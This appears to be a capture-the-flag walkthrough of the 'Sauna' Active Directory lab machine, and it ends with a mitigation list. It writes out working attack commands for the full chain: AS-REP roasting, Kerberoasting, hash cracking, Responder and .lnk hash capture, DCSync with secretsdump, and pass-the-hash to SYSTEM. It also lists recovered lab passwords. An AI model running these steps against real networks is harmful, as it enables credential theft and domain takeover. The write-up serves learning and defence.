Sauna

Introduction

In this walkthrough, I tackled Sauna, an easy-difficulty Windows machine focused on Active Directory enumeration and exploitation. I began by visiting the company’s website, where I found a list of employee full names. From these, I generated possible Active Directory usernames.

Using the usernames, I performed an ASREPRoasting attack, which targets accounts that do not require Kerberos pre-authentication. This yielded a Kerberos TGT hash, which I subjected to an offline brute-force attack and successfully recovered a user’s plaintext password. This user had WinRM access, allowing me to gain an initial shell on the box.

Running WinPEAS revealed that another user was configured with auto-login credentials, including their password in plaintext. This second user also had WinRM access. Further analysis using BloodHound showed that this user had the DS-Replication-Get-Changes-All privilege, allowing them to perform a DCSync attack and retrieve password hashes from the Domain Controller.

Using Impacket’s secretsdump.py, I extracted the hash of the Domain Administrator, and then used psexec.py with this hash to obtain a shell as NT AUTHORITY\SYSTEM, achieving full control over the machine.

Nmap

TCP

Run a quick Nmap TCP scan:

sudo nmap -sV $IP --open

UDP

Check top 100 UDP ports:

sudo nmap -sU -F $IP

Full Port Scan

sudo nmap -sV -sC -p- $IP -Pn -n -v --open

Services

Port 53 (DNS)

Domain - EGOTISTICAL-BANK.LOCAL

• dig any

    dig any EGOTISTICAL-BANK.LOCAL  @$IP
  

  

• Zone Trasfer

    dig axfr @$IP EGOTISTICAL-BANK.LOCAL
  

  

Port 139/445 (SMB/RPC)

• smbclient

    smbclient -L //$IP/ -N 
  

  

• enum4linux

    enum4linux $IP
  

  Nothing interesting.

Port 5985 (WinRM)

…

Web

Port 80 (HTTP)

AD Initial Enumeration

User Enumeration

./kerbrute_linux_amd64 userenum -d <domain> --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 70

Port 389/3268

ldapsearch -H ldap://$IP -x -s base -b '' "(objectClass=*)" "*" +

Noting interesting.

ldapsearch -x -H ldap://$IP -D '' -w '' -b "DC=egotistical-bank,DC=local" 

Passwords in Group Policy SYSVOL share

sudo crackmapexec smb $IP -u <domain-user> -p <domain-password> -M gpp_autologin
sudo crackmapexec smb $IP -u '' -p '' -M gpp_autologin

No result

Digging to SYSVOL Share

crackmapexec smb $IP -u <domain-user> -p <password> -M spider_plus --share 'SYSVOL'
crackmapexec smb $IP -u '' -p '' -M spider_plus --share 'SYSVOL'

Initial Attack Vectors

LLMNR Poisoning

sudo responder -I tun0 -dwv 

No result

AS-REP Roasting

GetNPUsers.py <FQDN>/ -dc-ip <dc-ip> -no-pass -usersfile valid_ad_users 

/opt/brute-force/username-anarchy/username-anarchy Hugo Smith > hugo_smith_usernames.txt

GetNPUsers.py egotistical-bank.local/ -dc-ip $IP -no-pass -usersfile hugo_smith_usernames.txt

/opt/brute-force/username-anarchy/username-anarchy Fergus Smith > fergus_smith_usernames.txt

GetNPUsers.py egotistical-bank.local/ -dc-ip $IP -no-pass -usersfile fergus_smith_usernames.txt

hashcat -m 18200 fsmith.hash /usr/share/wordlists/rockyou.txt

Lateral Movement

I checked local directories of fsmith user but didn’t find anything.

Under Users I have service account good time to check Kerberoasting.

GetUserSPNs.py -dc-ip $IP egotistical-bank.local/fsmithKerberos tickets include timestamps to ensure freshness. The Key Distribution Center (KDC), client, and target server all compare these timestamps. The default maximum allowable clock skew in Kerberos is **5 minutes** (300 seconds). If the time difference between your machine and the server exceeds this, Kerberos authentication will fail, resulting in errors like KRB_AP_ERR_SKEW (clock skew too great).

In Kerberos related operations we should fix clock skew.

sudo ntpdate egotistical-bank.local

Now we have hash.

hashcat -m 13100 hsmith.hash /usr/share/wordlists/rockyou.txt

Password is the same: Thestrokes23

Actually hsmith isn’t worth exploring as he is not in any major or important groups.

Checking for shares with fsmith:

sudo nxc smb $IP -u fsmith -p 'Thestrokes23' --shares

We have write access to the share and I cannot list it.

Let’s perform .lnk file exploit, where we put .lnk file and whoever clicks will start authentication to our server essentially sending their hash to us.

I used hashgrab to generate .lnk file and put it inside share.

Run responder:

sudo responder -I tun0

While waiting let’s start enumeration with BloodHound:

Tranfer SharpHound.exe to the target with upload function of evil-winrm and run:

.\SharpHound.exe -c All --zipfilename saunaAD

Unfortunately, we didn’t receive anything from responder.

sudo neo4j start
bloodhound 

I see that svc_loanmgr have DCSync privileges over domain that means if we are svc_loanmgr game over:

Running PowerUp.ps1 I identified some Autologon credentials for svc_loanmgr account:

and checking it I identified that we can login to the system.

evil-winrm -i $IP -u svc_loanmgr -p 'Moneymakestheworldgoround!’

Credentials

fsmith : Thestrokes23
hsmith : Thestrokes23
svc_loanmgr : Moneymakestheworldgoround!

Privilege Escalation

Let’s perform DCSync:

secretsdump.py egotistical-bank.local/svc_loanmgr@$IP

Now let’s get access with Administrator hash:

impacket-psexec Administrator@$IP -hashes :823452073d75b9d1cf70ebdf86c7f98e

Mitigation

• Enforce Kerberos pre-authentication for all users to protect against ASREPRoasting attacks.
• Implement strong password policies and monitor for weak or guessable credentials.
• Avoid storing plaintext credentials for auto-login and disable the feature unless absolutely necessary.
• Regularly audit user privileges using tools like BloodHound and remove unnecessary replication rights.
• Limit and monitor WinRM access, preferably using firewalls and allow-lists.
• Monitor Domain Controller logs for replication-related events that could indicate a DCSync attack.
• Use LAPS (Local Administrator Password Solution) to manage local admin passwords securely.